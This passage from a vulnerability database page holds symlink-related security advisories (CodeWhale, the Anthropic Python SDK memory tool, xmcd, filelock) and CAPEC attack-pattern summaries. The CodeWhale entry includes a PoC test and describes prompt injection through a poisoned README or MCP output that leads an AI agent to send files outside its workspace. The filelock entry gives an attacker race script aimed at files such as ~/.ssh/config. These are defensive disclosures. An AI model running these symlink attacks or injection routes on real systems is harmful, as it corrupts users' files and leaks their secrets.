candidate.canonicalize().map_err(...)?;\n if !canonical.starts_with(\u0026workspace_canonical)\n \u0026\u0026 !self.is_trusted_external_path(\u0026canonical)\n {\n return Err(ToolError::PathEscape { path: canonical });\n }\n ...\n}\n```\n\nIn the same symlink scenario, `image_ocr`, `pandoc_convert`, `read_file`, `apply_patch`, `rlm_open`, and `fim` all return `ToolError::PathEscape` because the canonical target falls outside the workspace. `image_analyze` is the lone caller that skips this check.\n\nThe tool declares `ToolCapability::ReadOnly` and does not override `approval_requirement()`. The trait default (`crates/tui/src/tools/spec.rs:612-620`) resolves ReadOnly to `ApprovalRequirement::Auto`. The engine then sets `approval_required = spec.approval_requirement() != ApprovalRequirement::Auto`, which is `false` for this tool (`crates/tui/src/core/engine/turn_loop.rs:1159-1184`). The model can invoke `image_analyze` on any turn without a user prompt.\n\nThe recent commit `2326220 fix(vision): reject rooted image paths on windows` (2026-05-12) tightened the lexical guard to catch Windows drive prefixes, but the original review missed that the underlying problem is that this site never used `resolve_path` in the first place.\n\n### PoC\n\nA standalone Cargo test reproduces the read-through. Save as `crates/tui/tests/image_analyze_symlink_escape.rs`:\n\n```rust\nuse deepseek_tui::config::VisionModelConfig;\nuse deepseek_tui::tools::spec::{ToolContext, ToolSpec};\nuse deepseek_tui::vision::tools::ImageAnalyzeTool;\nuse serde_json::json;\nuse std::fs;\nuse tempfile::tempdir;\n\n#[tokio::test]\n#[cfg(unix)]\nasync fn image_analyze_follows_workspace_symlink_outside_workspace() {\n let outer = tempdir().unwrap();\n let workspace = outer.path().join(\"workspace\");\n let outside = outer.path().join(\"outside\");\n fs::create_dir_all(\u0026workspace).unwrap();\n fs::create_dir_all(\u0026outside).unwrap();\n\n // A file that the workspace boundary should keep the tool from reading.\n let secret = outside.join(\"secret.txt\");\n fs::write(\u0026secret, b\"OUTSIDE-WORKSPACE-SECRET-MARKER\").unwrap();\n\n // Pre-existing symlink in the workspace with an image extension.\n std::os::unix::fs::symlink(\u0026secret, workspace.join(\"screenshot.png\")).unwrap();\n\n let ctx = ToolContext::new(workspace);\n let tool = ImageAnalyzeTool::new(VisionModelConfig {\n model: \"test\".into(),\n api_key: Some(\"test\".into()),\n base_url: Some(\"http://127.0.0.1:1/v1\".into()),\n });\n\n // The execute call will fail at the HTTP layer because the mock endpoint\n // is unreachable, but read_image_file has already been called. Reach the\n // file-read step by asserting that the failure is the HTTP error, not a\n // PathEscape error from the resolver.\n let err = tool\n .execute(json!({\"image_path\": \"screenshot.png\"}), \u0026ctx)\n .await\n .expect_err(\"expected HTTP failure after symlink read\");\n let msg = format!(\"{err:?}\");\n assert!(\n !msg.contains(\"PathEscape\"),\n \"symlink should have been refused before read; got {msg}\"\n );\n // To prove the bytes actually left the process, point base_url at a\n // capturing wiremock instance and assert that the OUTSIDE-WORKSPACE-SECRET-MARKER\n // substring appears in the captured base64-decoded request body.\n}\n```\n\nFor comparison, the same workspace exercised via `read_file` returns `ToolError::PathEscape`:\n\n```rust\n#[tokio::test]\n#[cfg(unix)]\nasync fn read_file_refuses_workspace_symlink_outside_workspace() {\n use deepseek_tui::tools::file::ReadFileTool;\n let outer = tempdir().unwrap();\n let workspace = outer.path().join(\"workspace\");\n let outside = outer.path().join(\"outside\");\n fs::create_dir_all(\u0026workspace).unwrap();\n fs::create_dir_all(\u0026outside).unwrap();\n fs::write(outside.join(\"secret.txt\"), b\"X\").unwrap();\n std::os::unix::fs::symlink(outside.join(\"secret.txt\"), workspace.join(\"link.txt\")).unwrap();\n\n let ctx = ToolContext::new(workspace);\n let err = ReadFileTool\n .execute(json!({\"path\": \"link.txt\"}), \u0026ctx)\n .await\n .expect_err(\"expected PathEscape\");\n assert!(format!(\"{err:?}\").contains(\"PathEscape\"));\n}\n```\n\nThe fix is one line on `crates/tui/src/vision/tools.rs:122`:\n\n```rust\n- let resolved_path = context.workspace.join(image_path_buf);\n+ let resolved_path = context.resolve_path(image_path)?;\n```\n\n`resolve_path` already handles the pre-join lexical checks (so the existing `Path::new(image_path).components().any(...)` block can also be removed), canonicalizes through symlinks, and re-checks workspace containment. The behavior the lexical guard already promises (path stays inside the workspace) is then actually delivered.\n\n### Impact\n\nA workspace symlink whose name ends in `.png`, `.jpg`, `.jpeg`, `.gif`, `.webp`, or `.bmp` and whose target sits outside the workspace becomes a read primitive that the model can invoke without an approval prompt. The file bytes are base64-encoded into the `image_url.url` field of the chat-completion payload and POSTed to the configured vision endpoint along with the user\u0027s bearer token. Three exposure channels follow from a single invocation: the vision provider receives every byte of the target file in plaintext (most providers retain request bodies for abuse review or model training), any TLS-terminating corporate proxy on the egress path captures the same bytes, and any transparent middlebox with MITM visibility logs the payload. The preconditions are everyday workspace shapes: cloned repositories that ship symlinks to shared media (CI artifact bundles, photo libraries, design assets), a developer who staged an external file via `ln -s`, or a `git clone` with `core.symlinks=true` against a repository that includes such a link. Because the tool is auto-approved, a prompt-injection delivered through a poisoned README, fetched web page, or MCP server output can issue `{\"image_path\": \"screenshot.png\"}` and the bytes leave the machine on the same turn without any visible UI cue. The fix is identical to the pattern used by every other file-reading tool in this codebase, so the gap is a missed `resolve_path` call rather than a design tradeoff.",
"id": "GHSA-w7wx-5q49-r59w",
"modified": "2026-09-04T17:34:55Z",
"published": "2026-09-04T17:34:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-w7wx-5q49-r59w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75914"
},
{
"type": "WEB",
"url": "https://github.com/Hmbown/CodeWhale/commit/26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e"
},
{
"type": "PACKAGE",
"url": "https://github.com/Hmbown/CodeWhale"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/codewhale-before-path-traversal-via-image-analyze-symlink"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CodeWhale: image_analyze follows workspace symlinks, leaking external file bytes"
}
GHSA-W828-4QHX-VXX3
Vulnerability from github – Published: 2026-04-01 21:17 – Updated: 2026-04-24 20:59The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.
Users on the affected versions are advised to update to the latest version.
Claude SDK for Python thanks hackerone.com/kasthelord for reporting this issue!
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "anthropic"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.0"
},
{
"fixed": "0.87.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34452"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:17:34Z",
"nvd_published_at": "2026-03-31T22:16:20Z",
"severity": "MODERATE"
},
"details": "The async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected.\n\nUsers on the affected versions are advised to update to the latest version.\n\nClaude SDK for Python thanks [hackerone.com/kasthelord](https://hackerone.com/kasthelord) for reporting this issue!",
"id": "GHSA-w828-4qhx-vxx3",
"modified": "2026-04-24T20:59:08Z",
"published": "2026-04-01T21:17:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/security/advisories/GHSA-w828-4qhx-vxx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34452"
},
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/commit/6599043eee6e86dce16953fcd1fd828052052be6"
},
{
"type": "PACKAGE",
"url": "https://github.com/anthropics/anthropic-sdk-python"
},
{
"type": "WEB",
"url": "https://github.com/anthropics/anthropic-sdk-python/releases/tag/v0.87.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Claude SDK for Python: Memory Tool Path Validation Race Condition Allows Sandbox Escape"
}
GHSA-W845-647Q-RR58
Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18The (1) ncsarmt and (2) ncsawrap scripts in xmcd 2.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/Mosaic.*pid temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4994"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-07T19:36:00Z",
"severity": "MODERATE"
},
"details": "The (1) ncsarmt and (2) ncsawrap scripts in xmcd 2.6 allows local users to overwrite arbitrary files via a symlink attack on a /tmp/Mosaic.*pid temporary file.",
"id": "GHSA-w845-647q-rr58",
"modified": "2022-05-17T02:18:26Z",
"published": "2022-05-17T02:18:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4994"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46550"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496416"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/xmcd"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32288"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W853-JP5J-5J7F
Vulnerability from github – Published: 2025-12-16 20:52 – Updated: 2025-12-16 20:52Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
- PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
- poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock._acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock._acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
- Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
- Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
- Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
Windows (src/filelock/_windows.py:19-28):
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Windows variant:
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
Step-by-Step Attack Flow
1. Attacker Setup:
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
2. Attacker Creates Race Condition:
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
3. Victim Application Runs:
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home/victim/.ssh/config is now 0 bytes!
4. What Happens Inside os.open():
On Unix systems, when os.open() is called:
// Linux kernel behavior (simplified)
int open(const char *pathname, int flags) {
struct file *f = path_lookup(pathname); // Resolves symlinks by default!
if (flags & O_TRUNC) {
truncate_file(f); // ← Truncates the TARGET of the symlink
}
return file_descriptor;
}
Without O_NOFOLLOW flag, the kernel follows the symlink and truncates the target file.
Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds
- Symlink creation (os.symlink()): ~1-10 microseconds
- Race window: ~1-5 microseconds (very small but exploitable)
- Thread scheduling quantum: ~1-10 milliseconds
Success factors:
- Tight loop: Running attack in a loop hits the race window within 1-3 attempts
- CPU scheduling: Modern OS thread schedulers frequently context-switch during I/O operations
- No synchronization: No atomic file creation prevents the race
- Symlink speed: Creating symlinks is extremely fast (metadata-only operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
# Victim runs: python -m venv /tmp/myenv
# Attacker racing to create:
os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg")
# Result: /home/victim/.bashrc overwritten with:
# home = /usr/bin/python3
# include-system-site-packages = false
# version = 3.11.2
# ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker
Scenario 2: PyTorch Cache Poisoning
# Victim runs: import torch
# PyTorch checks CPU capabilities, uses filelock on cache
# Attacker racing to create:
os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock")
# Result: Trained ML model checkpoint truncated to 0 bytes
# Impact: Weeks of training lost, ML pipeline DoS
Why Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the victim's permissions
- The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is acquired
- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (filelock_simple_poc.py):
- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in \<100ms
virtualenv Attack (weaponized_virtualenv.py):
- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents
PyTorch Attack (weaponized_pytorch.py):
- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos (@tsigouris007)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68146"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T20:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n ensure_directory_exists(self.lock_file)\n open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate\n if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?\n open_flags |= os.O_CREAT\n fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n raise_on_not_writable_file(self.lock_file) # (1) Check writability\n ensure_directory_exists(self.lock_file)\n flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate\n fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file exists? \u2192 False\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime Victim Thread Attacker Thread\n---- ------------- ---------------\nT0 Check: lock_file writable?\nT1 \u2193 RACE WINDOW\nT2 Create symlink: lock \u2192 victim_file\nT3 Open lock_file with O_TRUNC\n \u2192 Follows symlink/junction\n \u2192 Opens victim_file\n \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\" # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\" # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n # Remove any existing lock file\n try:\n os.unlink(lock_path)\n except FileNotFoundError:\n pass\n\n # Create symlink pointing to victim file\n os.symlink(victim_file, lock_path)\n print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire() # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n struct file *f = path_lookup(pathname); // Resolves symlinks by default!\n\n if (flags \u0026 O_TRUNC) {\n truncate_file(f); // \u2190 Truncates the TARGET of the symlink\n }\n\n return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
"id": "GHSA-w853-jp5j-5j7f",
"modified": "2025-12-16T20:52:55Z",
"published": "2025-12-16T20:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
},
{
"type": "PACKAGE",
"url": "https://github.com/tox-dev/filelock"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
},
{
"type": "WEB",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
},
{
"type": "WEB",
"url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.